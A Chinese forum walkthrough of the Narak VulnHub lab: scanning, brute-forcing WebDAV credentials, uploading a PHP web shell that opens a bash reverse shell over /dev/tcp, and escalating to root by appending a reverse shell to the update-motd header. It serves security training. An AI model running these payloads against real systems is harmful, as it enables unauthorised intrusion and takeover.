Narak靶机打靶过程

打印 上一主题 下一主题

主题 566|帖子 566|积分 1702


一、靶机介绍

名称:Narak
发布日期:23 Sep 2020
Download (Mirror): https://download.vulnhub.com/ha/narak.ova
tips: Narak is the Hindu equivalent of Hell. You are in the pit with the Lord of Hell himself. Can you use your hacking skills to get out of the Narak? Burning walls and demons are around every corner even your trusty tools will betray you on this quest. Trust no one. Just remember the ultimate mantra to escape Narak “Enumeration”. After getting the root you will indeed agree “Hell ain’t a bad place to be”.
二、信息收集

主机发现
  1. arp-scan -l
复制代码


端口扫描
  1. nmap -p- 192.168.81.128 --min-rate=5000
复制代码


  1. nmap -p22,80 -sT -sC -sV -O 192.168.81.128
复制代码


访问首页,发现是一个有关于 Narak(印度教地狱)的介绍

纳拉克(印度语:Narak)是印度教的地狱,罪人死后在那边受折磨。它也是死神闻罗王的住所(上图)。它被描述为位于宇宙的南部和地球之下。许多经文描述有28层地狱。死后,阎罗王的使者叫vamdoot,把所有的生命带到阎罗王的法庭上,在那边,阎罗王衡量生命的美德和罪恶,并作出判决,把有道德的送到swarg(天国),把罪人送到地狱之一。 在斯瓦格或纳拉克的逗留通常被描述为临时性的。在处罚结束后,灵魂根据他们的功德重生为更低或更高的生命。
About 下面有个 DoNotClick 的按钮


点击后发现得到一张图片

是否这张图片有隐藏信息?
  1. wget http://192.168.81.128/images/666.jpg
  2. file 666.jpg
  3. exiftool 666.jpg
复制代码




目录扫描
  1. apt update  
  2. apt install gobuster
  3. gobuster dir -u http://192.168.81.128 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50
复制代码


  1. http://192.168.81.128/webdav/
复制代码
WebDAV (Web-based Distributed Authoring and Versioning) 一种基于 HTTP 1.1协议的通信协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP尺度方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。


  • WebDAV_百度百科
可以直接put文件上去。。。。
访问需要口令.。。。

常见的弱口令测试均无法登录。。。。
简介中提到了一个用户 vamdoot 尝试ssh 爆破
  1. hydra -l vamdoot -P /usr/share/wordlists/rockyou.txt ssh://192.168.81.128
复制代码
漫长等待之后无果。。。
vamdoot 尝试 爆破 webdav
先解压rockyou.txt.gz


  1. hydra -l vamdoot -P /usr/share/wordlists/rockyou.txt 192.168.81.128 http-get /webdav -t 64
复制代码


第一轮爆破失败

当暗码爆破失败的时候,可以优先 使用 cewl 生成字典
  1. cewl http://192.168.81.128  -w 192.168.81.128dict.txt
  2. hydra -L 192.168.81.128dict.txt -P 192.168.81.128dict.txt 192.168.81.128 http-get /webdav -v
复制代码


尝试 ssh
  1. ssh yamdoot@192.168.81.128
复制代码


尝试 webdav

没有任何文件,so,直接测试
此时kali中有许多工具可以充当webdav的客户端,此中有一个工具davtest,可以测试通过webdav能上传哪些后缀文件以及其对应权限:
  1. davtest -url http://192.168.81.128/webdav/ -auth yamdoot:Swarg
复制代码


经过测试,发现可以上传 php 文件,那么直接上传 一句话木马,大概反弹shell的脚本
  1. <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.81.129/9999 0>&1'"); ?>
复制代码


三、getshell

然后再使用一个客户端。把shell.php上传,此处使用的webdav客户端是cadaver:
  1. cadaver http://192.168.81.128/webdav
  2. 输入用户名和密码(yamdoot:Swarg)
  3. put shell.php
复制代码




kali开启监听


访问 http://192.168.81.128/webdav/shell.ph
成功反弹shell


四、提权

获取交互式shell
  1. python3 -c "import pty;pty.spawn('/bin/bash')"
复制代码
当前用户是一个 web 用户,没啥用,查看可登录用户
  1. cat /etc/passwd | grep -v nologin
复制代码


接下来我们通过下面这条下令找一些属主是root 平凡用户或组可实行 其他用户可写的文件,这种文件往往可以帮助我们实现权限提拔。
  1. find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null
  2. #命令解释:
  3. 从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写  如果发现了符合条件的用 ls -l命令显示  错误信息从定向到null
复制代码


先cat了一下搜索到的第一个文件,发现内里有brainfuck加密的内容,所以尝试解密下。
  1. cat /mnt/hell.sh
复制代码


互联网搜索得知为 BF编码


可能是某个用户的暗码,挨个试一下发现是chitragupt
  1. chitragupt
复制代码
修改 00-header 追加反弹shell的代码
  1. echo "bash -c 'bash -i >& /dev/tcp/192.168.81.129/8888 0>&1'" >> /etc/update-motd.d/00-header
  2. cat /etc/update-motd.d/00-header
复制代码


尝试登录
  1. ssh inferno@192.168.81.128    #chitragupt
复制代码


五、总结



  • 1、目录扫描记得扫 txt、备份文件等
  • 2、爆破无果,可以自己通过页面单词整理一份字典
  • 3、端口扫描 TCP要是打不进去,看看UDP

 

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

东湖之滨

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表